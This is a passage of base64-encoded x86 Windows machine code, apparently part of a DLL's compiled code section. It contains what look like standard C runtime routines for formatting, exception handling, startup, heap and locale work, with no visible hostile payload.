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djjooLX///92POiYtf//g8RA/3ZA6I21////dkTohbX///92SOh9tf///3ZM6HW1////dlDobbX///92VOhltf///3ZY6F21////dlzoVbX///92YOhNtf///3Zk6EW1////dmjoPbX///92bOg1tf///3Zw6C21////dnToJbX///92eOgdtf///3Z86BW1//+DxED/toAAAADoB7X///+2hAAAAOj8tP///7aIAAAA6PG0////towAAADo5rT///+2kAAAAOjbtP///7aUAAAA6NC0////tpgAAADoxbT///+2nAAAAOi6tP///7agAAAA6K+0////tqQAAADopLT///+2qAAAAOiZtP///7a4AAAA6I60////trwAAADog7T///+2wAAAAOh4tP///7bEAAAA6G20////tsgAAADoYrT//4PEQP+2zAAAAOhUtP///7a0AAAA6Em0////ttQAAADoPrT///+22AAAAOgztP///7bcAAAA6Ci0////tuAAAADoHbT///+25AAAAOgStP///7boAAAA6Ae0////ttAAAADo/LP///+27AAAAOjxs////7bwAAAA6Oaz////tvQAAADo27P///+2+AAAAOjQs////7b8AAAA6MWz////tgABAADourP///+2BAEAAOivs///g8RA/7YIAQAA6KGz////tgwBAADolrP///+2EAEAAOiLs////7YUAQAA6ICz////thgBAADodbP///+2HAEAAOhqs////7YgAQAA6F+z////tiQBAADoVLP///+2KAEAAOhJs////7YsAQAA6D6z////tjABAADoM7P///+2NAEAAOgos////7Y4AQAA6B2z////tjwBAADoErP///+2QAEAAOgHs////7ZEAQAA6Pyy//+DxED/tkgBAADo7rL///+2TAEAAOjjsv///7ZQAQAA6Niy////tlQBAADozbL///+2WAEAAOjCsv///7ZcAQAA6Ley////tmABAADorLL//4PEHF5dw1WL7FFRocBwARAzxYlF/FNWi3UYV4X2fiGLRRSLzkmAOAB0CECFyXX1g8n/i8YrwUg7xo1wAXwCi/CLTSQz/4XJdQ2LRQiLAItABIlFJIvIM8A5RShqAA+VwGoAVv91FI0ExQEAAABQUf8VEPAAEIvIiU34hcl1BzPA6VgBAAB+S2rgM9JY9/GD+AJyP40MTQgAAACB+QAEAAB3FYvB6LcVAACL3IXbdB7HA8zMAADrE1HoMLP//4vYWYXbdAnHA93dAACDwwiLTfjrAjPbhdt0plFTVv91FGoB/3Uk/xUQ8AAQhcAPhOMAAACLdfhqAGoAVlP/dRD/dQzoZPn//4v4g8QYhf8PhMIAAAC5AAQAAIVNEHQsi00ghckPhK0AAAA7+Q+PpQAAAFH/dRxWU/91EP91DOgp+f//g8QY6YwAAACF/35CauAz0lj394P4AnI2jQR9CAAAADvBdxPo+BQAAIv0hfZ0ZscGzMwAAOsTUOhxsv//i/BZhfZ0UccG3d0AAIPGCOsCM/aF9nRAV1b/dfhT/3UQ/3UM6MT4//+DxBiFwHQhM8BQUDlFIHUEUFDrBv91IP91HFdWUP91JP8VAPAAEIv4VugA+P//WVPo+ff//1mLx41l7F9eW4tN/DPN6BWH///Jw1WL7IPsEP91CI1N8Oixj////3UojUXw/3Uk/3Ug/3Uc/3UY/3UU/3UQ/3UMUOjl/f//g8QkgH38AHQHi034g2Fw/cnDVYvsUaHAcAEQM8WJRfyLTR